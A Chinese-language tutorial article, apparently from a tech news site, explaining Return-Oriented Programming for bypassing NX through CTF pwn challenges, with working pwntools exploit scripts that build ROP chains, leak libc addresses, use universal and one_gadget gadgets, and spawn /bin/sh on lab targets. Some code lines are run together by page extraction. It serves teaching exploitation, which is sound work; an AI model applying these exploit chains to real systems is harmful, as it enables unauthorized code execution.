溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

什么是ROP技術(shù)

發(fā)布時間:2021-10-21 17:48:34 來源:億速云 閱讀:286 作者:柒染 欄目:網(wǎng)絡(luò)安全

什么是ROP技術(shù),相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。


0x00 背景

顯然,如果某一頁內(nèi)存沒有可寫(W)屬性,我們就無法向里面寫入代碼,如果沒有可執(zhí)行(X)屬性,寫入到內(nèi)存頁中的shellcode就無法執(zhí)行。關(guān)于這個特性的實驗在此不做展開,大家可以嘗試在調(diào)試時修改EIP和read()/scanf()/gets()等函數(shù)的參數(shù)來觀察操作無對應(yīng)屬性內(nèi)存的結(jié)果。那么我們怎么看某個ELF文件中是否有RWX內(nèi)存頁呢?首先我們可以在靜態(tài)分析和調(diào)試中使用IDA的快捷鍵Ctrl + S
什么是ROP技術(shù)

什么是ROP技術(shù)

或者同上一篇教程中的方法,使用pwntools自帶的checksec命令檢查程序是否帶有RWX段。當然,由于程序可能在運行中調(diào)用mprotect(), mmap()等函數(shù)動態(tài)修改或分配具有RWX屬性的內(nèi)存頁,以上方法均可能存在誤差。

既然攻擊者們能想到在RWX段內(nèi)存頁中寫入shellcode并執(zhí)行,防御者們也能想到,因此,一種名為NX位(No eXecute bit)的技術(shù)出現(xiàn)了。這是一種在CPU上實現(xiàn)的安全技術(shù),這個位將內(nèi)存頁以數(shù)據(jù)和指令兩種方式進行了分類。被標記為數(shù)據(jù)頁的內(nèi)存頁(如棧和堆)上的數(shù)據(jù)無法被當成指令執(zhí)行,即沒有X屬性。由于該保護方式的使用,之前直接向內(nèi)存中寫入shellcode執(zhí)行的方式顯然失去了作用。因此,我們就需要學習一種著名的繞過技術(shù)——ROP(Return-Oriented Programming, 返回導(dǎo)向編程)

顧名思義,ROP就是使用返回指令ret連接代碼的一種技術(shù)(同理還可以使用jmp系列指令和call指令,有時候也會對應(yīng)地成為JOP/COP)。一個程序中必然會存在函數(shù),而有函數(shù)就會有ret指令。我們知道,ret指令的本質(zhì)是pop eip,即把當前棧頂?shù)膬?nèi)容作為內(nèi)存地址進行跳轉(zhuǎn)。而ROP就是利用棧溢出在棧上布置一系列內(nèi)存地址,每個內(nèi)存地址對應(yīng)一個gadget,即以ret/jmp/call等指令結(jié)尾的一小段匯編指令,通過一個接一個的跳轉(zhuǎn)執(zhí)行某個功能。由于這些匯編指令本來就存在于指令區(qū),肯定可以執(zhí)行,而我們在棧上寫入的只是內(nèi)存地址,屬于數(shù)據(jù),所以這種方式可以有效繞過NX保護。


0x01 使用ROP調(diào)用got表中函數(shù)

首先我們來看一個x86下的簡單ROP,我們將通過這里例子演示如何調(diào)用一個存在于got表中的函數(shù)并控制其參數(shù)。我們打開~/RedHat 2017-pwn1/pwn1??梢院苊黠@看到main函數(shù)存在棧溢出:

什么是ROP技術(shù)變量v1的首地址在bp-28h處,即變量在棧上,而輸入使用的__isoc99_scanf不限制長度,因此我們的過長輸入將會造成棧溢出。

什么是ROP技術(shù)

程序開啟了NX保護,所以顯然我們不可能用shellcode打開一個shell。根據(jù)之前文章的思路,我們很容易想到要調(diào)用system函數(shù)執(zhí)行system(“/bin/sh”)。那么我們從哪里可以找到system”/bin/sh”呢?

第一個問題,我們知道使用動態(tài)鏈接的程序?qū)霂旌瘮?shù)的話,我們可以在GOT表和PLT表中找到函數(shù)對應(yīng)的項(稍后的文章中我們將詳細解釋)。跳轉(zhuǎn)到.got.plt段,我們發(fā)現(xiàn)程序里居然導(dǎo)入了system函數(shù)。

什么是ROP技術(shù)

解決了第一個問題之后我們就需要考慮第二個問題。通過對程序的搜索我們沒有發(fā)現(xiàn)字符串“/bin/sh”,但是程序里有__isoc99_scanf,我們可以調(diào)用這個函數(shù)來讀取”/bin/sh”字符串到進程內(nèi)存中。下面我們來開始構(gòu)建ROP鏈。

首先我們考慮一下“/bin/sh”字符串應(yīng)該放哪。通過調(diào)試時按Ctrl+S快捷鍵查看程序的內(nèi)存分段,我們看到0x0804a030開始有個可讀可寫的大于8字節(jié)的地址,且該地址不受ASLR影響,我們可以考慮把字符串讀到這里。什么是ROP技術(shù)接下來我們找到__isoc99_scanf的另一個參數(shù)“%s”,位于0x08048629

什么是ROP技術(shù)

接著我們使用pwntools的功能獲取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代碼,將EIP劫持到某個函數(shù)的PLT表項中我們可以直接調(diào)用該函數(shù)。我們知道,對于x86的應(yīng)用程序來說,其參數(shù)從右往左入棧。因此,現(xiàn)在我們就可以構(gòu)建出一個ROP鏈。
`from pwn import *

context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)

elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)

shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr

print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”) 我們來測試一下。 通過調(diào)試我們可以看到,當EIP指向retn時,棧上的數(shù)據(jù)和我們的預(yù)想一樣,棧頂是plt表中__isoc99_scanf的首地址,緊接著是兩個參數(shù)。 ![](data/attachment/album/201807/06/113538drglfgfgrrlmrtry.png) 我們繼續(xù)跟進執(zhí)行,在libc中執(zhí)行一會兒之后,我們收到了一個錯誤 ![](data/attachment/album/201807/06/113544p5333t7qe797qgbt.png) 這是為什么呢?我們回顧一下之前的內(nèi)容。我們知道call指令會將call指令的下一條指令地址壓入棧中,當被call調(diào)用的函數(shù)運行結(jié)束后,ret指令就會取出被call指令壓入棧中的地址傳輸給EIP。但是在這里我們繞過call直接調(diào)用了__isoc99_scanf,沒有像call指令一樣向棧壓入一個地址。此時函數(shù)認為返回地址是緊接著scanf_addrformat_s,而第一個參數(shù)就變成了binsh_addr`
call調(diào)用函數(shù)的情況

08048557  mov   [esp+4], eax0804855B  mov   dword ptr [esp], offset unk_8048629                
08048562  call    ___isoc99_scanf                
08048567  lea     eax, [esp+18h]

什么是ROP技術(shù)什么是ROP技術(shù)什么是ROP技術(shù)從兩種調(diào)用方式的比較上我們可以看到,由于少了call指令的壓棧操作,如果我們在布置棧的時候不模擬出一個壓入棧中的地址,被調(diào)用函數(shù)的取到的參數(shù)就是錯位的。所以我們需要改良一下ROP鏈。根據(jù)上面的描述,我們應(yīng)該在參數(shù)和保存的EIP中間放置一個執(zhí)行完的返回地址。鑒于我們調(diào)用scanf讀取字符串后還要調(diào)用system函數(shù),我們讓__isoc99_scanf執(zhí)行完后再次返回到main函數(shù)開頭,以便于再執(zhí)行一次棧溢出。改良后的ROP鏈如下:什么是ROP技術(shù)我們再次進行調(diào)試,發(fā)現(xiàn)這回成功調(diào)用__isoc99_scanf”/bin/sh”字符串讀取到地址0x0804a030什么是ROP技術(shù)

此時程序再次從main函數(shù)開始執(zhí)行。由于棧的狀態(tài)發(fā)生了改變,我們需要重新計算溢出的字節(jié)數(shù)。然后再次利用ROP鏈調(diào)用system執(zhí)行system(“/bin/sh”),這個ROP鏈可以模仿上一個寫出來,完整的腳本也可以在對應(yīng)文件夾中找到,此處不再贅述。

接下來讓我們來看看64位下如何使用ROP調(diào)用got表中的函數(shù)。我們打開文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就可以發(fā)現(xiàn)溢出出現(xiàn)在Hello()里什么是ROP技術(shù)和上一個例子一樣,由于程序開啟了NX保護,我們必須找到system函數(shù)和”/bin/sh”字符串。程序在main函數(shù)中調(diào)用了自己定義的一個叫today的函數(shù),執(zhí)行了system(“/bin/date”),那么system函數(shù)就有了。至于”/bin/sh”字符串,雖然程序中沒有,但是我們找到了”sh”字符串,利用這個字符串其實也可以開shell什么是ROP技術(shù)

OK,現(xiàn)在我們有了棧溢出點,有了system函數(shù),有了字符串”sh”,可以嘗試開shell了。首先我們要解決傳參數(shù)的問題。和x86不同,在x64下通常參數(shù)從左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出來的參數(shù)才會入棧(根據(jù)調(diào)用約定的方式可能有不同,通常是這樣),因此,我們就需要一個給RDI賦值的辦法。由于我們可以控制棧,根據(jù)ROP的思想,我們需要找到的就是pop rdi; ret,前半段用于賦值rdi,后半段用于跳到其他代碼片段。

有很多工具可以幫我們找到ROP gadget,例如pwntools自帶的ROP類,ROPgadget、rp++、ropeme等。在這里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)

通過ROPgadget --binary 指定二進制文件,使用grep在輸出的所有g(shù)adgets中尋找需要的片段什么是ROP技術(shù)這里有一個小trick。首先,我們看一下IDA中這個地址的內(nèi)容是什么。什么是ROP技術(shù)我們可以發(fā)現(xiàn)并沒有0x400883這個地址,0x400882pop r15, 接下來就是0x400884retn,那么這個pop rdi會不會是因為ROPgadget出bug了呢?別急,我們選擇0x400882,按快捷鍵D轉(zhuǎn)換成數(shù)據(jù)。什么是ROP技術(shù)然后選擇0x400883按C轉(zhuǎn)換成代碼什么是ROP技術(shù)

我們可以看出來pop rdi實際上是pop r15的“一部分”。這也再次驗證了匯編指令不過是一串可被解析為合法opcode的數(shù)據(jù)的別名。只要對應(yīng)的數(shù)據(jù)所在內(nèi)存可執(zhí)行,能被轉(zhuǎn)成合法的opcode,跳轉(zhuǎn)過去都是不會有問題的。

現(xiàn)在我們已經(jīng)準備好了所有東西,可以開始構(gòu)建ROP鏈了。這回我們直接調(diào)用call system指令,省去了手動往棧上補返回地址的環(huán)節(jié),腳本如下:什么是ROP技術(shù)進行調(diào)試,發(fā)現(xiàn)開shell成功。什么是ROP技術(shù)retn跳轉(zhuǎn)到0x400883處的gadget:pop rdi; ret什么是ROP技術(shù)pop rdi將”sh”字符串所在地址0x4003ef賦值給rdi什么是ROP技術(shù)

retn跳轉(zhuǎn)到call system處

0x02 使用ROP調(diào)用int 80h/syscall
在上一節(jié)中,我們接觸到了一種最簡單的使用ROP的場景。但是現(xiàn)實的情況是很多情況下目標程序并不會導(dǎo)入system函數(shù)。在這種情況下我們就需要通過其他方法達到目標。在這一節(jié)中我們首先學習的是通過ROP調(diào)用int 80h/syscall
關(guān)于int 80h/syscall,在上一篇文章的《系統(tǒng)調(diào)用》一節(jié)中已經(jīng)做了介紹,現(xiàn)在我們來看例子~/Tamu CTF 2018-pwn5/pwn5.這個程序的主要功能在print_beginning()實現(xiàn)。什么是ROP技術(shù)這個函數(shù)有大量的puts()和printf()輸出提示,要求我們輸入first_name, last_name和major三個字符串到三個全局變量里,然后選擇是否加入Corps of Cadets。不管選是還是否都會進入一個差不多的函數(shù)什么是ROP技術(shù)我們可以看到只有選擇選項2才會調(diào)用函數(shù)change_major(),其他選項都只是打印出一些內(nèi)容。進入change_major()后,我們發(fā)現(xiàn)了一個棧溢出:什么是ROP技術(shù)發(fā)現(xiàn)了溢出點后,我們就可以開始構(gòu)思怎么getshell了。就像開頭說的那樣,這個程序里找不到system函數(shù)。但是我們用ROPGadget --binary pwn5 | grep “int 0x80”找到了一個可用的gadget什么是ROP技術(shù)回顧一下上一篇文章,我們知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve調(diào)用,同樣可以用來開shell,這個系統(tǒng)調(diào)用需要設(shè)置5個寄存器,其中eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”我們可以在前面輸入到地址固定的全局變量中。接下來我們就要通過ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret了。什么是ROP技術(shù)pop eax; pop ebx; pop esi; pop edi; ret什么是ROP技術(shù)pop edx; pop ecx; pop ebx; ret什么是ROP技術(shù)構(gòu)建ROP鏈和腳本如下:什么是ROP技術(shù)調(diào)試時發(fā)現(xiàn)執(zhí)行失敗了,ROP鏈并沒有被讀進去什么是ROP技術(shù)什么是ROP技術(shù)

這是為什么呢?

我們輸出payload后發(fā)現(xiàn)0x080150a里面有兩個0x0a,即“\n”什么是ROP技術(shù)在輸入的時候,我們會使用回車鍵”\n”代表輸入結(jié)束,顯然這邊也是受到了這個控制字符的影響,因此我們需要重新挑選gadgets。我們把gadget換成這一條什么是ROP技術(shù)修改腳本發(fā)現(xiàn)成功getshell

0x03 從給定的libc中尋找gadget


有時候pwn題目也會提供一個pwn環(huán)境里對應(yīng)版本的libc。在這種情況下,我們就可以通過泄露出某個在libc中的內(nèi)容在內(nèi)存中的實際地址,通過計算偏移來獲取system和“/bin/sh”的地址并調(diào)用。這一節(jié)的例子是~/Security Fest CTF 2016-tvstation/tvstation. 這是一個比較簡單的題目,題目中除了顯示出來的三個選項之外還有一個隱藏的選項4,選項4會直接打印出system函數(shù)在內(nèi)存中的首地址:什么是ROP技術(shù)什么是ROP技術(shù)從IDA中我們可以看到打印完地址后執(zhí)行了函數(shù)debug_func(),進入函數(shù)debug_func()之后我們發(fā)現(xiàn)了溢出點什么是ROP技術(shù)由于這個題目給了libc,且我們已經(jīng)泄露出了system的內(nèi)存地址。使用命令readelf -a 查看libc.so.6_x64什么是ROP技術(shù)

從這張圖上我們可以看出來.text節(jié)(Section)屬于第一個LOAD段(Segment),這個段的文件長度和內(nèi)存長度是一樣的,也就是說所有的代碼都是原樣映射到內(nèi)存中,代碼之間的相對偏移是不會改變的。由于前面的PHDR, INTERP兩個段也是原樣映射,所以在IDA里看到的system首地址距離文件頭的地址偏移和運行時的偏移是一樣的。如:

在這個libc中system函數(shù)首地址是0x456a0,即從文件的開頭數(shù)0x456a0個字節(jié)到達system函數(shù)什么是ROP技術(shù)

什么是ROP技術(shù)什么是ROP技術(shù)調(diào)試程序,發(fā)現(xiàn)system在內(nèi)存中的地址是0x7fb5c8c266a0什么是ROP技術(shù)0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000?什么是ROP技術(shù)

根據(jù)這個事實,我們就可以通過泄露出來的libc中的函數(shù)地址獲取libc在內(nèi)存中加載的首地址,從而以此跳轉(zhuǎn)到其他函數(shù)的首地址并執(zhí)行。

在libc中存在字符串”/bin/sh”,該字符串位于.data節(jié),根據(jù)同樣的原理我們也可以得知這個字符串距l(xiāng)ibc首地址的偏移

什么是ROP技術(shù)還有用來傳參的gadget :pop rdi; ret什么是ROP技術(shù)據(jù)此我們可以構(gòu)建腳本如下

#!/usr/bin/python#coding:utf-8from pwn import *

io = remote('172.17.0.2', 10001)

io.recvuntil(": ")
io.sendline('4')                                        #跳轉(zhuǎn)到隱藏選項io.recvuntil("@0x")
system_addr = int(io.recv(12), 16)        #讀取輸出的system函數(shù)在內(nèi)存中的地址libc_start = system_addr - 0x456a0        #根據(jù)偏移計算libc在內(nèi)存中的首地址pop_rdi_addr = libc_start + 0x1fd7a        #pop rdi; ret 在內(nèi)存中的地址,給system函數(shù)傳參binsh_addr = libc_start + 0x18ac40        #"/bin/sh"字符串在內(nèi)存中的地址payload = ""payload += 'A'*40                                        #paddingpayload += p64(pop_rdi_addr)                #pop rdi; retpayload += p64(binsh_addr)                        #system函數(shù)參數(shù)payload += p64(system_addr)                        #調(diào)用system()執(zhí)行system("/bin/sh")io.sendline(payload)

io.interactive()

0x04 一些特殊的gadgets

這一節(jié)主要介紹兩個特殊的gadgets。第一個gadget經(jīng)常被稱作通用gadgets,通常位于x64的ELF程序中的__libc_csu_init中,如下圖所示:什么是ROP技術(shù)這張圖片里包含了兩個gadget,分別是什么是ROP技術(shù)

我們知道在x64的ELF程序中向函數(shù)傳參,通常順序是rdi, rsi, rdx, rcx, r8, r9, 棧,以上三段gadgets中,第一段可以設(shè)置r12-r15,接上第三段使用已經(jīng)設(shè)置的寄存器設(shè)置rdi, 接上第二段設(shè)置rsi, rdx, rbx,最后利用r12+rbx*8可以call任意一個地址。在找gadgets出現(xiàn)困難時,可以利用這個gadgets快速構(gòu)造ROP鏈。需要注意的是,用萬能gadgets的時候需要設(shè)置rbp=1,因為call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我們通常使rbx=0,從而使r12+rbx*8 = r12,所以call指令結(jié)束后rbx必然會變成1。若此時rbp != 1,jnz會再次進行call,從而可能引起段錯誤。那么這段gadgets怎么用呢?我們來看一下例子~/LCTF 2016-pwn100/pwn100

這個例子提供了libc,溢出點很明顯,位于0x40063d什么是ROP技術(shù)我們需要做的就是泄露一個got表中函數(shù)的地址,然后計算偏移調(diào)用system。前面的代碼很簡單,我們就不做介紹了

#!/usr/bin/python#coding:utf-8from pwn import *

io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")

puts_addr = elf.plt['puts']
read_got = elf.got['read']

start_addr = 0x400550pop_rdi = 0x400763universal_gadget1 = 0x40075a           #萬能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retnuniversal_gadget2 = 0x400740        #萬能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]binsh_addr = 0x60107c                        #bss放了STDIN和STDOUT的FILE結(jié)構(gòu)體,修改會導(dǎo)致程序崩潰payload = "A"*72                                #paddingpayload += p64(pop_rdi)                        #payload += p64(read_got)
payload += p64(puts_addr)
payload += p64(start_addr)                #跳轉(zhuǎn)到start,恢復(fù)棧payload = payload.ljust(200, "B")        #paddingio.send(payload)
io.recvuntil('bye~\n')
read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))log.info("read_addr = %#x", read_addr)
system_addr = read_addr - 0xb31e0log.info("system_addr = %#x", system_addr)

為了演示萬能gadgets的使用,我們選擇再次通過調(diào)用read函數(shù)讀取/bin/sh\x00字符串,而不是直接使用偏移。首先我們根據(jù)萬能gadgets布置好棧

payload = "A"*72                        #padding
payload += p64(universal_gadget1)        #萬能gadget1
payload += p64(0)                        #rbx = 0payload += p64(1)                        #rbp = 1,過掉后面萬能gadget2的call返回后的判斷
payload += p64(read_got)        #r12 = got表中read函數(shù)項,里面是read函數(shù)的真正地址,直接通過call調(diào)用
payload += p64(8)                        #r13 = 8,read函數(shù)讀取的字節(jié)數(shù),萬能gadget2賦值給rdxpayload += p64(binsh_addr)        #r14 = read函數(shù)讀取/bin/sh保存的地址,萬能gadget2賦值給rsipayload += p64(0)                        #r15 = 0,read函數(shù)的參數(shù)fd,即STDIN,萬能gadget2賦值給edipayload += p64(universal_gadget2)        #萬能gadget2


我們是不是應(yīng)該直接在payload后面接上返回地址呢?不,我們回頭看一下universal_gadget2的執(zhí)行流程

由于我們的構(gòu)造,上面的那塊代碼只會執(zhí)行一次,然后流程就將跳轉(zhuǎn)到下面的loc_400756,這一系列操作將會抬升8*7共56字節(jié)的??臻g,因此我們還需要提供56個字節(jié)的垃圾數(shù)據(jù)進行填充,然后再拼接上retn要跳轉(zhuǎn)的地址。

payload += '\x00'*56                #萬能gadget2后接判斷語句,過掉之后是萬能gadget1,用于填充棧payload += p64(start_addr)        #跳轉(zhuǎn)到start,恢復(fù)棧payload = payload.ljust(200, "B")        #padding接下來就是常規(guī)操作getshell
io.send(payload)
io.recvuntil('bye~\n')
io.send("/bin/sh\x00")                #上面的一段payload調(diào)用了read函數(shù)讀取"/bin/sh\x00",這里發(fā)送字符串payload = "A"*72                                #paddingpayload += p64(pop_rdi)                        #給system函數(shù)傳參payload += p64(binsh_addr)                #rdi = &("/bin/sh\x00")payload += p64(system_addr)                #調(diào)用system函數(shù)執(zhí)行system("/bin/sh")payload = payload.ljust(200, "B")        #paddingio.send(payload)
io.interactive()

我們介紹的第二個gadget通常被稱為one gadget RCE,顧名思義,通過一個gadget遠程執(zhí)行代碼,即getshell。我們通過例子~/TJCTF 2016-oneshot/oneshot演示一下這個gadget的威力。
要利用這個gadget,我們需要一個對應(yīng)環(huán)境的libc和一個工具one_gadget(https://github.com/david942j/one_gadget)。這個程序沒有棧溢出,其代碼非常簡單

從紅框中的代碼我們看到地址rbp+var_8被作為__isoc99_scanf的第二個參數(shù)賦值給rsi,即輸入被保存在這里。隨后rbp+var_8中的內(nèi)容被賦值給rax,又被賦值給rdx,最后通過call rdx執(zhí)行。也就是說我們輸入一個數(shù)字,這個數(shù)字會被當成地址使用call調(diào)用。由于只能控制4字節(jié),我們就需要用到one gadget RCE來一步getshell。我們通過one_gadget找到一些gadget:我們看到這些gadget有約束條件。我們選擇第一條,要求rax=0。我們構(gòu)建腳本進行調(diào)試:

#!/usr/bin/python#coding:utf-8from pwn import *

one_gadget_rce = 0x45526#one_gadget libc.so.6_x64#0x45526        execve("/bin/sh", rsp+0x30, environ)#constraints:#  rax == NULLsetbuf_addr = 0x77f50        
setbuf_got = 0x600ae0io = remote("172.17.0.2", 10001)

io.sendline(str(setbuf_got))
io.recvuntil("Value: ")
setbuf_memory_addr = int(io.recv()[:18], 16)        #通過打印got表中setbuf項的內(nèi)容泄露setbuf在內(nèi)存中的首地址io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce)))        #通過偏移計算one_gadget_rce在內(nèi)存中的地址io.interactive()


執(zhí)行到call rdx時rax = 0

getshell成功

看完上述內(nèi)容,你們掌握什么是ROP技術(shù)的方法了嗎?如果還想學到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

rop
AI